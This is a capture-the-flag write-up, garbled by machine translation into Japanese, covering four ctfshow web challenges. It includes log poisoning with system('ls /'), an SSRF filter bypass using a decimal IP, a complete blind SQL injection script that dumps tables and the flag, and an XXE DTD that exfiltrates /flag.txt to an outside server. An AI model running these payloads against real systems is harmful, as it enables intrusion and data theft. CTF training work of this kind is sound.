はじめに:私は日々徐々に変化できることを願っています
サインイン_guanji
最初にデータの疑似プロトコルの波を試したところ、禁止されていることがわかりました。長い間考えていたのですが、ログに害があることを忘れていました。file=/var/log/nginx/access.log
UA
トロイの木馬という言葉を入れてみてください
ウーフー、離陸!
system("ls /");
終わり
web1_viewワード
私たちが望むことをコード監査、タイトル手段curl http://192.168.7.68/flag
のフラグを取得するからエコー我々が渡され、それを.
濾過し、そして私は数にIP変換と考えると等価である192.168.1.100
と3232237668
、この(デジタルアドレスとIPアドレス)が、この質問を濾過し0頼りにしていますが、最終的にマスターのwpを。
代わりに使用できることがわかりました.
<?php
#flag in http://192.168.7.68/flag
if(isset($_GET['url'])){
$url = $_GET['url'];
$protocol = substr($url, 0,7);
if($protocol!='http://'){
die('仅限http协议访问');
}
if(preg_match('/\.|\;|\||\<|\>|\*|\%|\^|\(|\)|\#|\@|\!|\`|\~|\+|\'|\"|\.|\,|\?|\[|\]|\{|\}|\!|\&|\$|0/', $url)){
die('仅限域名地址访问');
}
system('curl '.$url);
}
ついに旗を手に入れた
web2_gazing
一見したところsql注入
わかりました。ファズした後、無効になっている関数がたくさん見つかりました。
通常のsqlブラインドインジェクションペイロードはほぼ同じです
1^if(1=1,1,0)
が、現在は使用できません。
スペースは除外でき、括弧で置き換えることができます。
一重引用符は16進数でフィルタリングできます。置換;
コンマをフィルタリングします。substrの場合、substr(database()、1,1)の代わりにsubstr(database()from 1 for 1)
を使用できます。コンマがある場合は、ifの代わりにcase
を使用できます。asciiをフィルタリングする場合は、代わりにordを使用できます。
等号などをフィルタリングした後、代わりにregexpを使用できます。
したがって、上記の通常のステートメントは次のように変換できます。
id=1^case(ord(substr(database()from(1)for(1))))when(102)then(2)else(3)end
import requests
import time
url = "http://0d7d7067-4ff7-4557-a713-af5bd4d3ed35.chall.ctf.show/index.php?id=0^"
flag = ""
for i in range(1, 50):
for j in range(38, 126):
# payload="case(ord(substr(database()from({0})for(1))))when({1})then(1)else(2)end".format(i,j)
# payload="case(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)regexp(database()))from({0})for(1))))when({1})then(1)else(2)end".format(i,j)
# payload="case(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)regexp(0x666c6167))from({0})for(1))))when({1})then(1)else(2)end".format(i,j)
payload = "case(ord(substr((select(group_concat(flag))from(flag))from({0})for(1))))when({1})then(1)else(2)end".format(i, j)
u = url + payload
r = requests.get(u)
time.sleep(0.3)
if "By Rudyard Kipling" in r.text:
flag += chr(j)
print(flag)
break
web3_view画像
最初にソースコードを確認し、これを見つけました。base64復号化を使用すると、文字化けしたコードの束であることがわかりました。次の画像パラメータを削除すると、ソースコードが表示されます
。公式のPHPドキュメントにあるように、ブラストすることは可能です。
注:一部のプラットフォーム(Windowsなど)では、getrandmax()は32767のみです。必要な範囲が32767より大きい場合は、min
パラメーターとmaxパラメーターを指定してより大きな数を生成するか、代わりにmt_rand()の使用を検討してください。
最後のバーストは27347です
/*author
Y4tacker
*/
<?php
for($i=0;$i<32768;$i++){
$key = substr(md5('ctfshow'.$i),3,8);
$image="Z6Ilu83MIDw=";
$str = openssl_decrypt($image, 'bf-ecb', $key);
if(strpos($str,"jpg") or strpos($str,"png") or strpos($str,"gif")){
print($i);
break;
}
}
次のステップは、キーを取得して生成することです
<?php
/*author
Y4tacker
*/
$rand=27347;
$key = substr(md5('ctfshow'.$rand),3,8);
$image="config.php";
$str = openssl_encrypt($image, 'bf-ecb', $key);
echo $str;
終わり
web4_viewハート
私も少し最初にプレイしました。Fuckは本当にこんな感じです。推測しました。次に、Webページのソースコードを確認してプロンプト<!-- flag in filesystem /flag.txt -->
を表示します。正直なところ、私は盲目でした。次にWPを見に行って見ました。 XXE、理解するためのhh秒、もちろん、WPは私が自分でダウンしていることを読んでいません、私のVPSに行き、ここで使用したいくつかの考えをし通过DTD窃取文件
ますxmlファイルの最初のものです
<?xml version="1.0"?>
<!DOCTYPE data SYSTEM "http://test.y4tacker.top/evil.dtd">
次
<!ENTITY % p1 SYSTEM "php://filter/read=convert-base64.encode/resource=/flag.txt">
<!ENTITY % p2 "<!ENTITY xxe SYSTEM 'http://我服务器的ip:7999/?pass=%p1;'>">
%p2;
その後、別のサーバーで監視をオンにしました。
ああ、急いで監視しても意味がありません。とにかく、ページにフラグ付きのエラーが報告された理由はわかりません
が、内部ネットワーク環境の原因であると思われます。